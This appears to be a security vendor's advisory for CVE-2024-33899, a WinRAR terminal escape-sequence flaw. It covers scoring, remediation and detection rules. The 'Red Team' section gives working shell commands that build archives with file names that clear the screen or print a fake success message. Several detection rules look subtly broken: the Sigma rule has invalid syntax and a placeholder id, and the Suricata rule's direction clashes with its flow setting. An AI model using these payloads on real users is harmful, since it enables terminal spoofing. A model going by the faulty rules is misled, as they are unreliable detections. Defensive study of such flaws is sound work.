CVE-2024-33899
Executive Summary
CVE-2024-33899 is a vulnerability in RARLAB WinRAR versions prior to 7.00 on Linux and UNIX platforms. The flaw allows an attacker to spoof screen output or cause a denial of service (DoS) by embedding ANSI escape sequences within archive files. When a user extracts or views the archive content, the terminal interprets these sequences, potentially leading to misleading output or terminal disruption. This is a client-side attack requiring user interaction, with no known public exploit code or active exploitation in the wild (EPSS 0.0%). The vulnerability is classified under CWE-150 (Improper Neutralization of Escape, Meta, or Control Sequences).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary binary application (WinRAR) distributed by RARLAB. Users should verify the integrity of downloaded WinRAR binaries from official sources.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H
- Base Score: 6.1 (Medium)
- Attack Vector: Local (AV:L) – requires the attacker to deliver a malicious archive to the victim.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: Required (UI:R) – victim must open the archive.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – no data exposure.
- Integrity Impact: Low (I:L) – screen output can be spoofed.
- Availability Impact: High (A:H) – terminal can be disrupted or rendered unusable.
Threat Level: Medium. Exploitation requires user interaction and local access, but the impact on availability is significant.
Deep Dive & Mechanics
The vulnerability resides in how WinRAR processes archive metadata (e.g., file names, comments) that contain ANSI escape sequences. ANSI escape sequences are control codes used to manipulate terminal output (e.g., cursor movement, text color, clearing screen). When WinRAR displays archive contents in a terminal (e.g., via unrar or rar commands), it fails to sanitize these sequences.
Attack Scenario:
- An attacker crafts a malicious RAR archive with a file name or comment containing ANSI escape sequences (e.g.,
\x1b[2Jto clear screen,\x1b[5;10Hto position cursor). - The victim downloads and extracts the archive using WinRAR on Linux/UNIX.
- The terminal interprets the sequences, causing:
- Spoofing: Displaying fake output (e.g., a fake "extraction successful" message while malware is installed).
- Denial of Service: Terminal becomes unresponsive or displays garbled output.
Root Cause: Lack of input validation for control characters in archive metadata.
Vulnerable vs. Patched Code
Vulnerable Code (WinRAR < 7.00):
// Pseudocode: No sanitization of ANSI sequences
void display_filename(char *filename) {
printf("%s\n", filename); // Directly prints to terminal
}
Patched Code (WinRAR 7.00+):
// Pseudocode: Strip or escape ANSI sequences
void display_filename(char *filename) {
char *sanitized = strip_ansi_sequences(filename);
printf("%s\n", sanitized);
free(sanitized);
}
The patch introduces a function to remove or neutralize ANSI escape sequences before output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WinRAR < 7.00 on Linux/UNIX
- Ability to deliver a malicious RAR file (e.g., via email, download)
Steps:
- Create a malicious RAR archive with ANSI escape sequences in the file name:
# Create a file with ANSI escape sequence to clear screen echo "malicious content" > "$(printf '\x1b[2J')malware.txt" rar a malicious.rar "$(printf '\x1b[2J')malware.txt" - Deliver
malicious.rarto the victim. - When the victim runs
unrar l malicious.raror extracts it, the terminal clears, potentially hiding the actual file.
Advanced Payload: Use sequences to simulate a fake success message:
# Create file with ANSI to move cursor and print fake message
echo "payload" > "$(printf '\x1b[5;10H\x1b[32mExtraction Complete!\x1b[0m')"
rar a fake.rar "$(printf '\x1b[5;10H\x1b[32mExtraction Complete!\x1b[0m')"
Blue Team (Defense & Detection)
Detection:
- Monitor for RAR files containing ANSI escape sequences in metadata.
- Use file scanning tools to detect control characters.
Prevention:
- Upgrade to WinRAR 7.00+.
- Use alternative archive tools (e.g.,
7z,tar) that sanitize output. - Educate users to avoid opening archives from untrusted sources.
Indicators of Compromise (IOCs)
- File Hashes: (None specific to this CVE; generic malicious RAR files)
- Network: No network indicators (local attack)
- Terminal Anomalies: Unexpected screen clearing, cursor movement, or garbled output when listing/extracting RAR files.
- Process:
unrarorrarprocesses with unusual output behavior.
Detection Engineering
YARA Rule
rule Detect_ANSI_Escape_in_RAR {
meta:
description = "Detects RAR files with ANSI escape sequences in metadata"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-33899"
strings:
$ansi_escape = /\x1b\[[0-9;]*[a-zA-Z]/
condition:
$ansi_escape and (uint32(0) == 0x21726152) // RAR magic header
}
Sigma Rule
title: Potential ANSI Escape Injection via WinRAR
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of unrar/rar with files containing ANSI escape sequences
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/unrar' or '/rar'
CommandLine|contains: '.rar'
condition: selection
falsepositives:
- Legitimate use of ANSI sequences in filenames (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-33899 - Potential ANSI Escape Injection via RAR download"; flow:to_client,established; content:"|52 61 72 21|"; distance:0; within:4; content:"|1b 5b|"; distance:0; within:2; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade WinRAR to version 7.00 or later from the official RARLAB website.
- Workaround: Use alternative archive tools (e.g.,
7z,tar,unzip) that do not interpret ANSI sequences. - User Education: Train users to avoid opening archives from untrusted sources and to be cautious of unusual terminal behavior.
- Monitoring: Implement YARA/Sigma rules to detect malicious RAR files and anomalous process behavior.
Valters IT
Securing Digital Frontiers